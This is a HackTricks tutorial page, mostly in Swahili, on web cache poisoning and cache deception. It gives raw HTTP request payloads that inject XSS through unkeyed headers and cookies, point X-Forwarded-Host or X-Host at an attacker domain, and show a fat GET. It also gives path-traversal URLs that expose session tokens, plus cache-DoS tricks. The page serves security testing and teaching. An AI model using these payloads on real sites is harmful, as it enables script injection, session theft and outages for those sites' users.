Cache Poisoning and Cache Deception

Reading time: 14 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Tofauti

Tofauti kati ya web cache poisoning na web cache deception ni ipi?

  • Katika web cache poisoning, mshambuliaji anasababisha programu kuhifadhi maudhui mabaya katika cache, na maudhui haya yanatolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
  • Katika web cache deception, mshambuliaji anasababisha programu kuhifadhi maudhui nyeti yanayomilikiwa na mtumiaji mwingine katika cache, na mshambuliaji kisha anapata maudhui haya kutoka kwenye cache.

Cache Poisoning

Cache poisoning inalenga kubadilisha cache ya upande wa mteja ili kulazimisha wateja kupakua rasilimali ambazo hazitarajiwa, sehemu, au chini ya udhibiti wa mshambuliaji. Kiwango cha athari kinategemea umaarufu wa ukurasa ulioathiriwa, kwani jibu lililochafuliwa linatolewa pekee kwa watumiaji wanaotembelea ukurasa wakati wa kipindi cha uchafuzi wa cache.

Utekelezaji wa shambulio la cache poisoning unajumuisha hatua kadhaa:

  1. Utambuzi wa Ingizo Lisilo na Funguo: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache.
  2. Kutatua Vigezo Visivyo na Funguo: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayomfaidi mshambuliaji.
  3. Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.

Ugunduzi: Angalia vichwa vya HTTP

Kawaida, wakati jibu lime hifadhiwa kwenye cache kutakuwa na kichwa kinachoashiria hivyo, unaweza kuangalia vichwa gani unapaswa kuzingatia katika chapisho hili: HTTP Cache headers.

Ugunduzi: Kihesabu makosa ya caching

Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu kutuma maombi yenye kichwa kibaya, ambacho kinapaswa kujibiwa kwa kodi ya hali 400. Kisha jaribu kufikia ombi kawaida na ikiwa jibu ni kodi ya hali 400, unajua ni hatari (na unaweza hata kufanya DoS).

Unaweza kupata chaguzi zaidi katika:

Cache Poisoning to DoS

Hata hivyo, kumbuka kwamba wakati mwingine aina hizi za kodi za hali hazihifadhiwi hivyo jaribio hili linaweza kuwa si la kuaminika.

Ugunduzi: Tambua na tathmini vigezo visivyo na funguo

Unaweza kutumia Param Miner ili kufanya brute-force vigezo na vichwa ambavyo vinaweza kuwa vinabadilisha jibu la ukurasa. Kwa mfano, ukurasa unaweza kuwa unatumia kichwa X-Forwarded-For kuashiria mteja kupakua script kutoka hapo:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Pata jibu hatari kutoka kwa seva ya nyuma

Kwa kutumia parameter/header iliyotambuliwa angalia jinsi inavyosafishwa na wapi inavyoakisi au kuathiri jibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (fanya XSS au upakue msimbo wa JS unaodhibitiwa na wewe? fanya DoS?...)

Pata jibu lililohifadhiwa

Mara tu unapokuwa umekutambua ukurasa ambao unaweza kutumiwa vibaya, ni parameter/header ipi ya kutumia na jinsi ya kuifanya, unahitaji kupata ukurasa huo uhifadhiwe. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda, unaweza kuhitaji kujaribu kwa sekunde kadhaa.

Header X-Cache katika jibu inaweza kuwa muhimu sana kwani inaweza kuwa na thamani miss wakati ombi halijahifadhiwa na thamani hit wakati imehifadhiwa.
Header Cache-Control pia ni ya kuvutia kujua ikiwa rasilimali inahifadhiwa na wakati itakuwa mara ya pili rasilimali hiyo itahifadhiwa tena: Cache-Control: public, max-age=1800

Header nyingine ya kuvutia ni Vary. Header hii mara nyingi hutumiwa ku onyesha headers za ziada ambazo zinachukuliwa kama sehemu ya ufunguo wa cache hata kama kawaida hazihusishwi. Hivyo, ikiwa mtumiaji anajua User-Agent wa mwathirika anayelenga, anaweza kuharibu cache kwa watumiaji wanaotumia User-Agent hiyo maalum.

Header nyingine inayohusiana na cache ni Age. Inafafanua muda kwa sekunde ambao kitu kimekuwa kwenye cache ya proxy.

Unapohifadhi ombi, kuwa makini na headers unazotumia kwa sababu baadhi yao wanaweza kutumika bila kutarajiwa kama keyed na mwathirika atahitaji kutumia header hiyo hiyo. Daima jaribu Upoaji wa Cache na vivinjari tofauti ili kuangalia ikiwa inafanya kazi.

Mifano ya Kutumia

Mfano rahisi zaidi

Header kama X-Forwarded-For inakisiwa katika jibu bila kusafishwa.
Unaweza kutuma payload ya msingi ya XSS na kuharibu cache ili kila mtu anayefikia ukurasa atakuwa na XSS:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

In this writeup inelezwa hali rahisi ifuatayo:

  • CDN itahifadhi chochote kilicho chini ya /share/
  • CDN HAIta decode wala kunormalize %2F..%2F, hivyo, inaweza kutumika kama path traversal kuaccess maeneo mengine nyeti ambayo yatakuwa cached kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Web server ITAdecode na kunormalize %2F..%2F, na itajibu na /api/auth/session, ambayo ina token ya uthibitishaji.

Cookies pia zinaweza kuonyeshwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia vibaya kusababisha XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lililo na uharibifu.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Kumbuka kwamba ikiwa cookie iliyo hatarini inatumika sana na watumiaji, maombi ya kawaida yatakuwa yakisafisha cache.

Kutengeneza tofauti na vikwazo, urekebishaji na nukta

Angalia:

Cache Poisoning via URL discrepancies

Kuambukiza cache kwa kutumia njia ya kupita ili kuiba funguo za API

Andiko hili linaelezea jinsi ilivyowezekana kuiba funguo za OpenAI API kwa URL kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 kwa sababu chochote kinacholingana na /share/* kitakuwa kimehifadhiwa bila Cloudflare kuirekebisha URL, ambayo ilifanyika wakati ombi lilipofika kwenye seva ya wavuti.

Hii pia inaelezwa vizuri zaidi katika:

Cache Poisoning via URL discrepancies

Kutumia vichwa vingi ili kutumia udhaifu wa kuambukiza cache ya wavuti

Wakati mwingine utahitaji kutumia ingizo kadhaa zisizo na funguo ili uweze kutumia cache. Kwa mfano, unaweza kupata Open redirect ikiwa utaweka X-Forwarded-Host kwa kikoa kinachodhibitiwa na wewe na X-Forwarded-Scheme kuwa http. Ikiwa seva in peleka maombi yote ya HTTP kwenda HTTPS na kutumia kichwa X-Forwarded-Scheme kama jina la kikoa kwa ajili ya uelekeo. Unaweza kudhibiti mahali ukurasa unapoelekezwa na uelekeo.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Kutumia kwa kutumia kichwa kidogo cha Vary

Ikiwa umebaini kwamba kichwa cha X-Host kinatumika kama jina la kikoa kupakia rasilimali ya JS lakini kichwa cha Vary katika jibu kinaonyesha User-Agent. Basi, unahitaji kutafuta njia ya kutoa User-Agent wa mwathirika na kuharibu cache kwa kutumia user agent hiyo:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Tuma ombi la GET pamoja na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika udhaifu ambao James Kettle alipata kwenye tovuti ya Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Kwa mfano, inawezekana kutenganisha parameters katika seva za ruby kwa kutumia herufi ; badala ya &. Hii inaweza kutumika kuweka thamani za parameters zisizo na ufunguo ndani ya zile zenye ufunguo na kuzitumia vibaya.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Jifunze hapa jinsi ya kutekeleza Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.

Example usage: wcvs -u example.com

Vulnerable Examples

Apache Traffic Server (CVE-2021-27577)

ATS ilituma kipande ndani ya URL bila kukiondoa na kuunda ufunguo wa cache kwa kutumia mwenyeji, njia na swali tu (ikikosa kipande). Hivyo ombi /#/../?r=javascript:alert(1) lilitumwa kwa backend kama /#/../?r=javascript:alert(1) na ufunguo wa cache haukuwa na payload ndani yake, tu mwenyeji, njia na swali.

GitHub CP-DoS

Kutuma thamani mbaya katika kichwa cha content-type kulisababisha jibu la 405 lililohifadhiwa. Ufunguzi wa cache ulikuwa na cookie hivyo ilikuwa inawezekana kushambulia watumiaji wasio na uthibitisho pekee.

GitLab + GCP CP-DoS

GitLab inatumia GCP buckets kuhifadhi maudhui ya statiki. GCP Buckets inasaidia kichwa x-http-method-override. Hivyo ilikuwa inawezekana kutuma kichwa x-http-method-override: HEAD na kuharibu cache ili irejeshe mwili wa jibu tupu. Pia inaweza kusaidia njia PURGE.

Rack Middleware (Ruby on Rails)

Katika programu za Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha x-forwarded-scheme na kuipanga kama mpango wa ombi. Wakati kichwa x-forwarded-scheme: http kinatumwa, uelekeo wa 301 unafanyika kwa eneo hilo hilo, huenda kusababisha Denial of Service (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha X-forwarded-host na kuwarudisha watumiaji kwa mwenyeji ulioainishwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.

403 and Storage Buckets

Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa kichwa kisicho sahihi cha Uidhinishaji kutasababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma nyingine za proxy.

Injecting Keyed Parameters

Caches mara nyingi hujumuisha parameters maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameter ya size katika maombi. Hata hivyo, ikiwa toleo lililowekwa URL la parameter (mfano, siz%65) lilitumwa pia na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya size. Hata hivyo, backend ingepitia thamani katika parameter iliyowekwa URL. Kuweka URL-encoding kwenye parameter ya pili ya size kulisababisha kuondolewa kwake na cache lakini kutumika na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request linaloweza kuhifadhiwa.

User Agent Rules

Wajenzi wengine huzuia maombi na user-agents yanayolingana na yale ya zana zenye trafiki kubwa kama FFUF au Nuclei ili kudhibiti mzigo wa seva. Kwa bahati mbaya, mbinu hii inaweza kuleta udhaifu kama vile kuharibu cache na DoS.

Illegal Header Fields

The RFC7230 specifies the acceptable characters in header names. Headers containing characters outside of the specified tchar range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the cache-control header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as \, would result in a cacheable 400 Bad Request error.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Lengo la Cache Deception ni kufanya wateja kupakia rasilimali ambazo zitahifadhiwa na cache zikiwa na taarifa zao nyeti.

Kwanza kabisa, kumbuka kwamba extensions kama vile .css, .js, .png n.k. mara nyingi zimepangwa kuhifadhiwa katika cache. Hivyo, ikiwa unapata www.example.com/profile.php/nonexistent.js cache itahifadhi jibu kwa sababu inaona extension ya .js. Lakini, ikiwa programu inajibu na maudhui nyeti ya mtumiaji yaliyohifadhiwa katika www.example.com/profile.php, unaweza kuiba maudhui hayo kutoka kwa watumiaji wengine.

Mambo mengine ya kujaribu:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Tumia extensions zisizojulikana kama .avif

Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: https://hackerone.com/reports/593712.
Katika mfano, inaelezwa kwamba ikiwa unapata ukurasa usio na kuwepo kama http://www.example.com/home.php/non-existent.css maudhui ya http://www.example.com/home.php (ikiwa na taarifa nyeti za mtumiaji) yatarudishwa na seva ya cache itahifadhi matokeo.
Kisha, mshambuliaji anaweza kufikia http://www.example.com/home.php/non-existent.css katika kivinjari chao na kuona taarifa za siri za watumiaji ambao walifika hapo awali.

Kumbuka kwamba cache proxy inapaswa kupangwa kuhifadhi faili kulingana na extension ya faili (.css) na si kulingana na aina ya maudhui. Katika mfano http://www.example.com/home.php/non-existent.css itakuwa na aina ya maudhui text/html badala ya aina ya mime text/css (ambayo inatarajiwa kwa faili ya .css).

Jifunze hapa jinsi ya kutekeleza Cache Deceptions attacks abusing HTTP Request Smuggling.

Automatic Tools

  • toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks